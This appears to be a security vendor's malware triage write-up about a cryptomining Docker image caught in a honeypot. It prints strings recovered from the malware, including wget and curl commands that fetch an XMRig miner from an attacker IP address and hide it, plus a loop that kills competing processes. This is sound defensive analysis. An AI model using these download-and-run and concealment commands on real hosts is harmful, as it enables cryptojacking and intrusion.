Triaging a Malicious Docker Container

Malicious Docker containers are a relatively new form of attack, taking advantage of an exposed Docker API or vulnerable host to do their evil plotting.​​ In this article, we will walk through the triage of a malicious image containing a previously undetected-in-VirusTotal (at the time of this writing) piece of malware!

Leaving a Docker API endpoint exposed to the world can have a variety of negative consequences. From data exfiltration to crypto-miner malware to becoming part of an APT’s botnet, there is no good reason to leave such a powerful service unprotected.

In the event of an accidentally-exposed Docker API, one can guarantee that bad actors looking to take advantage will try to take advantage of provisioned resources in order to run their malware, most commonly a crypto-miner. In the event of an exploited container (indicative of a slightly more sophisticated bad/threat actor), the payload is also likely to be more sophisticated.

The malicious Docker image that we will be analyzing was captured in Sysdig’s Docker honeypot. Let’s begin!

Triage process step-by-step

As mentioned before, the Sysdig research team exposed the Docker API to simulate a real scenario.

A malicious Docker container started running in the environment. The container was extracted to analyze it in controlled conditions and examine its contents to discover indicators of compromise.

Finally, the attacker’s behavior was identified to improve our detection methods and reduce future risks.

First step: gathering information

After noticing a new image masquerading as apache in our honeypot, Sysdig researchers pulled and saved it offline to perform forensic analysis using docker save badguys/apache -o apach.bin.

We could have also used docker export to save a copy of the running container (via a process similar to a traditional forensic clone), but for the purposes of this triage, it’ll suffice to start from a clean image.

Binwalk – static analysis

​Binwalk, an open-source “firmware analysis tool,” guided the majority of this particular investigation.

~/bad_docker> binwalk -e apach.bin 

We can see that the saved Docker image is merely a tar archive, extractable with the reader’s choice of utilities. Binwalk happens to ship with some extraction utilities built-in, so let’s run it again with the -e -M flags (-efor extract,-Mfor “Matroyshka” or recursive extract).

~/bad_docker> binwalk -e -M apach.bin

One sufficiently spammed terminal later and we have a directory _apach.bin.extracted that binwalk has populated for us.

~/bad_docker> ls -al _apach.bin.extracted

We can see that our malicious image has three layers of varying sizes. Docker’s overlayfs stacks the layers with the oldest on the bottom and the newest on top. Let’s look into the outermost (topmost) layer.

~/b/_apach.bin.extracted> ls 1d4a7fb12ad3fc5038ab1f7a6aac2ae07f5133e1bc0bf4f24a070142907605af/

~/b/_apach.bin.extracted> ls 1d4a7fb12ad3fc5038ab1f7a6aac2ae07f5133e1bc0bf4f24a070142907605af/_layer.tar.extracted/

Awesome, a root filesystem directory!

Backtracking a bit, let’s use docker inspect to view our image’s startup command. NB: “Cmd/CMD” can be overwritten at runtime (docker run <image> <overwritten_command>).

In our honeypot, the adversaries chose not to overwrite the following command.

docker inspect bad_docker/apache | jq '.[].Config.Cmd'
docker inspect bad_docker/apache | jq '.[].Config.WorkingDir'
docker inspect bad_docker/apache | jq '.[].Config.Entrypoint'

`docker inspect` informs us that when this container starts up, it runs the file /home/.system via the command execution (-c) mode of sh. Taking a look at that, we see the following (comments added by yours truly):

~/b/_apach.bin.extracted [1]> cat 1d4a7fb12ad3fc5038ab1f7a6aac2ae07f5133e1bc0bf4f24a070142907605af/_layer.tar.extracted/home/.system | pygmentize

The container is adding a repository, updating the image, and adding extra packages. However, the malware downloader is hidden inside a binary. Finally, the good stuff! Running strings on the first binary run (httpd-crypto) shows us some key strings:

/usr/bin/wgettnt
/bin/TNTwget
/usr/bin/TNTwget
…
if [[ ! -x ./%s ]];then
https://github.com/xmrig/xmrig/releases/download/v6.10.0/xmrig-6.10.0-linux-static-x64.tar.gz
%s -fsSL -o %s/xmr %s
wget -q --tries=3 --timeout=10 -O %s/xmr %s 
if ! [[ -f %s/xmr ]];then  
http://104.192.82.138/s3f1015/s/avg-610.tar.gz
%s -q --tries=3 --timeout=10 -O %s/xmr %s 
tar -xf ./xmr
mv xmrig*/xmrig ./.ddns
chmod a+x ./.ddns
rm -rf xmrig*
rm -rf *xmr
http://104.192.82.138/s3f1015/m/reg4.tar.gz
.ddns.pid
curl -fsSL -o %s/%s %s
sh -c ./.chdir
./.chdir

We can see some attempts to locate wget or curl, followed by attempts to use those binaries to download the Monero miner xmrig and rename it .ddns, and then attempts to hide what it’s up to. This is an indicator of compromise.

A selection of strings from the next binary (httpd):

/var/tmp/.apache/...
.systemd-private-48a446e5619a44e191918f4
%s/%s
#/bin/sh
cp='%d'
/bin/httpd-crypto
ps -elf|grep %s|grep -v grep|awk '{print $4,$5}'|while read -r p pp ;do
if [ ${p} != ${cp} ];then
kill ${p}
done 
httpd
/bin/httpd

Even from just the strings, we get a pretty good idea of what this is supposed to do. Search for processes and kill them (this is a typical defense evasion), then run the binary located at /bin/httpd (surprise, more malware!).

At this point, we can be fairly certain that the rogue Docker image in question is malicious.

Sysdig OSS – Dynamic analysis

Sysdig threat researchers were able to run this specific image through our Docker image sandbox in order to perform dynamic analysis.

Here are some of the more interesting results, pulled from the auto-generated report.

Being Sysdig researchers, we use the Sysdig command-line tool to collect captures of system activity. Below are the network connections made via IPv4 during the course of the malware’s 10-minute runtime.

The request made by .ddns is to a server hostnamed web.hosting-russia.ru.

Since we know the process is just XMRig renamed, it can be safe to assume that this connection is to its mining pool.

With a little bit of manipulation on the output format, we are able to also see the command line for each process! Below, we can see that the malware made a curl request to the adversary’s hosting site in order to download more malware.

We’ll conclude our dynamic analysis with one more Sysdig command, using the following filter: "evt.type=open and evt.dir=< and proc.name in (apache2, sh)". We can see that a shell script is opening various files in /usr/share/.apache as it searches for other IP addresses to attack. Given that the malware in question originated from an exposed Docker API, it makes sense that it would try to propagate itself to other exposed docker APIs on the reachable network.

This specific malicious Docker image was first detected in China, and detailed triage here and here by Chinese researchers.

It is still on Docker Hub today as “docker72590/apache.”

Prevent malicious Docker containers

The best way to prevent an adversary taking advantage of an exposed Docker API endpoint is to not expose that endpoint in the first place (this is the default configuration).

However, this is not always possible. If your endpoint must be exposed, Docker recommends configuring a docker context in order to only expose the Docker socket to users who are able to log into the Docker host via SSH.

An alternative, and also complementary solution to creating a docker context, is a zero-trust infrastructure architecture, where only known or signed containers are allowed to run. In addition, proper zero-trust implementations necessitate that communication between containers is only possible when containers are able to authenticate among themselves via pre-shared certificate.

Conclusion

Having an incident plan will improve response times and automation in obtaining indicators of compromise.

An untrusted container running in our environment is already a huge red flag, and in this article we have outlined some steps for rapid triage of a malicious Docker container. Since this container was mostly concerned with mining Monero, it would not necessitate as grave a response as one that was loaded with nation-state malware intent on stealing industry secrets.

In the event that we, as security researchers or DevOps engineers, accidentally expose ourselves to threat actors, we must improve our defensive measures based on lessons learned from incidents like those detailed in this article.

---